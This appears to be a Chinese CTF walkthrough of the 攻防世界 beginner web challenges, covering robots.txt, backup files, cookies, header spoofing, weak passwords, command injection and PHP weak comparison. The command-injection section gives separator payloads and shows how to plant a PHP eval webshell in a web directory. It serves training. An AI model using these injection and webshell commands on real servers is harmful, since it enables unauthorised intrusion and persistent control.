攻防世界web新手区
攻防世界web新手区
第一题view_source
f12查看源码
第二题get_post
1按照提示先get一个a=1,在post一个b=2,就行
第三题robots
robots协议是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
也就是说通常网站下会有个robots.txt,它会告诉爬虫什么能访问什么不能访问,不能访问是指不希望被爬虫抓取到的内容(通常有重要信息),但是我们可以访问
这里直接在地址后接robots,
然后访问flag。。。
第四题Backup
index.php的备份文件名通常是index.php.bak
.bak通常是编辑这个文件时,自动生成的备份文件;
可以用于紧急恢复
如果编辑后没有什么问题;
可以删除.BAK文件
通常命名为xxx.bak
这里直接访问index.php.bak.
第五题cookie
Cookie(复数形态Cookies),又称为“小甜饼”。类型为“小型文本文件”,指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。
Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。
浏览器需要保存这段数据,不得轻易删除。
此后每次浏览器访问该服务器,都必须带上这段数据。
Cookie 就是这么简单,这就是 Web 开发里 Cookie 的含义。
Cookie一般有两个用处:
1.识别用户的身份
2.记录历史信息
用一个例子说明:
假设我们去一个公园,需要购买门票,这个门票的有效期为1一天,也就是在这一天内我们可以凭着这张票随意的进出公园。也就是说可以把每一次进入公园当作是一次http请求,这个票就相当于我们设置的Cookie,正是有了这个票(Cookie),我们可以顺利的进入这个公园(访问网站)。同理Cookie可以设置存活的时间等信息。如:
Session和Cookie的应用场景
(1)登录网站,今输入用户名密码登录了,第二天再打开很多情况下就直接打开了。这个时候用到的一个机制就是cookie。
(2)session一个场景是购物车,添加了商品之后客户端处可以知道添加了哪些商品,而服务器端如何判别呢,所以也需要存储一些信息就用到了session。
对cookie和session的理解
https://blog.csdn.net/qq_41802128/article/details/82151490
访问网址,抓包看cookie,
访问cookie.php再抓包,放包response(响应)
第六题disabled_button
这里主要是考查前端代码
disabled 属性规定应该禁用 input 元素。
被禁用的 input 元素既不可用,也不可点击
这里我们直接将它删除
然后就可以点击了
第七题simple_js
提交几次无果后发现
人造密码哈哈?
在想到之前查看的源码(这题关键是将源码看懂)
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));//虽然前面定义o用到了tab,但是实际都是用tab2这个变量,即最后的结果与我们输入的值无关
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));//
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
从源码中可以看到无论我们输入什么最终返回的值都是FAUX PASSWORD HAHA(里面用到的一些函数在下面)
这里最可疑
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30(这是十六进制的ascii码)
于是可以先16进制转文本(就是十进制了),在十进制转ascll对应的字符(字符)
55,56,54,79,115,69,114,116,107,49,50(相当于函数所需的unicode值)
7,8,6,O,s,E,r,t,k,1,2
十进制转ascll对应的字符(字符)
就相当于String[“fromCharCode”](55,56,54,79,115,69,114,116,107,49,50)
结果为786OsErtk12
http://www.ab126.com/goju/1711.html在线十进制转ascll字符
alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
prompt()方法用于显示可提示用户进行输入的对话框,这个方法返回用户输入的字符串。
String方法之fromCharCode()
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串(unicode编码的字符)。
第八题xff_referer
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理
innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。
进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123(这里先将原来的refer删除)
go之后又要求innerHTML=“必须来自https://www.google.com”,再伪造(添加)Referer:Referer:https://www.google.com
第九题weak_auth
弱密码
提示用户名为admin
这里正常应该是要用bp爆破(也可直接猜)
密码123456
第十题webshell
直接用蚁剑连上就能看到flag.php
第十一题command_execution
Window/Linux可利用的特殊字符:
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
额外知识 写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
这里先随便ping
发现可以命令执行
接者127.0.0.1 | find / -name flag.txt(找寻根目录下所有flag.txt文件)
然后
127.0.0.1 | cat /home/flag.txt
推荐文章https://www.cnblogs.com/xiaozi/p/7831529.html
第十二题simple_php
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
php弱类型
php中有两种比较的符号 == 与 ===
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果一个数值和字符串进行比较的时候,会将字符串转换成数值
=== 在进行比较的时候,会先判断两种字符串的类型是否相等(不相等直接返回false),再比较
<?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"== 1); //true
4 var_dump("admin1"== 1) //false
5 var_dump("admin1" == 0) //true
6 var_dump("0e123456" =="0e4456789"); //true
7 ?>
“admin”== 0 比较的时候,会将admin转化成数值,字符串通常会被转化为0
0e123456"==“0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
这里"1admin”==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是说admin1被转化为了0
is_numeric() 函数用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
只要其中有一个不是就返回false
<?php
$var_name1=678;
$var_name2="a678";
$var_name3="678";
$var_name4="runoob.com";
$var_name5=698.99;
$var_name6=array("a1","a2");
$var_name7=+125689.66;
if (is_numeric($var_name1))
{
echo "$var_name1 是数字" . PHP_EOL;
}
else
{
echo "$var_name1 不是数字" . PHP_EOL ;
}
if (is_numeric($var_name2))
{
echo "$var_name2 是数字" . PHP_EOL ;
}
else
{
echo "$var_name2 不是数字" . PHP_EOL ;
}
$result=is_numeric($var_name3);
echo "[ $var_name3 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name4);
echo "[ $var_name4 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name5);
echo "[ $var_name5 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name6);
echo "[ $var_name6 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name7);
echo "[ $var_name7 是数字吗? ]" .var_dump($result);
?>
输出结果为:
678 是数字
a678 不是数字
bool(true)
[ 678 是数字吗? ]
bool(false)
[ runoob.com 是数字吗? ]
bool(true)
[ 698.99 是数字吗? ]
bool(false)
[ Array 是数字吗? ]
bool(true)
[ 125689.66 是数字吗? ]
所以可以a=a,and前为真,同时因为a的ASCII码>0(0a,0b等等都行),则后面的$a也为真
这样第一个if为真,拿到一半flag
然后就b=12345a
攻防世界web新手区的更多相关文章
- 攻防世界web新手区做题记录
学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...
- 攻防世界web新手区(3)
xff_referer:http://111.198.29.45:43071 打开网址,显示出这个页面: X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, ...
- CTF -攻防世界-web新手区
直接f12出来 先用get后加/?a=1 然后火狐装hackbar(老版本)f12 post b=2 搞定 Hackbar:https://github.com/Mr-xn/hackbar2.1.3 ...
- 2019攻防世界web新手区
robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件 http://111.198.29.45:42287/ro ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF -攻防世界-web高手区-ics-06
打开网址 根据题意点开报表中心(因为其他的点开都一样,不信你试试) 会看见id =1 想到burp爆破id 所以打开burp抓包(不会抓包的百度 或者看我web新手区,有一题就有抓包 我说的很详细) ...
- 攻防世界——web新手练习区解题记录<1>(1-4题)
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...
- CTF -攻防世界-crypto新手区(5~11)
easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间 明明没算错 ...
- 攻防世界Web新手解析
攻防世界入门的题目 view source 禁用右键,F12审查元素 get post hackbar进行post robots 直接访问robots.txt,发现f1ag_1s_h3re.ph文件, ...
随机推荐
- flume install
flume install flume 安装 123456 [root@10 app][root@10 app]# mv apache-flume-1.7.0-bin /mnt/app/flume[r ...
- ConcurrentHashMap源码探究 (JDK 1.8)
很早就知道在多线程环境中,HashMap不安全,应该使用ConcurrentHashMap等并发安全的容器代替,对于ConcurrentHashMap也有一定的了解,但是由于没有深入到源码层面,很多理 ...
- Java入门教程七(数组)
数组是最常见的一种数据结构,它是相同类型的用一个标识符封装到一起的基本类型数据序列或者对象序列.数组使用一个统一的数组名和不同的下标来唯一确定数组中的元素.实质上,数组是一个简单的线性序列,因此访问速 ...
- Spring Cloud Eureka整合使用和配置
遵循SpringBoot三板斧 服务端 第一步加依赖 <dependency> <groupId>org.springframework.cloud</groupId&g ...
- MySQL学习之路 一 : MySQL 5.7.19 源码安装
MySQL 5.7.19 源码安装 查看系统: # cat /etc/redhat-release CentOS Linux release 7.3.1611 (Core) 安装依赖包 # yum - ...
- d3学习day3 --y轴添加文本标签
y轴添加文本标签 g.append("g") .call(y_axis) .append("text") .text("price($)") ...
- HTML常用标签的使用
一.常见标签详解 1.<iframe>标签 HTML内联框架元素 <iframe> 表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中.在HTML 4.01中,文 ...
- Jquery实现checkbox全选、取消全选和反选
最近在看廖雪峰的Jquery教程,事件篇的练习题比较综合,研究了很久终于研究出来了,现在分享出来,提供给小白学习.题目如下: 首先要获取到全选checkbox和每一项的checkbox,然后通过逻辑代 ...
- 10个机器学习人工智能开发框架和AI库(优缺点对比表)/贪心学院
概述 通过本文我们来一起看一些用于人工智能的高质量AI库,它们的优点和缺点,以及它们的一些特点. 人工智能(AI)已经存在很长时间了.然而,由于这一领域的巨大进步,近年来它已成为一个流行语.人工智能曾 ...
- [NodeJS] async 和 await 的本质
绝大多数nodejs程序员都会使用 async 和 await 关键字,但是极少有人能真正弄明白 async 和 await 的原理.这篇文章将从零“构建”出 async 和 await 关 ...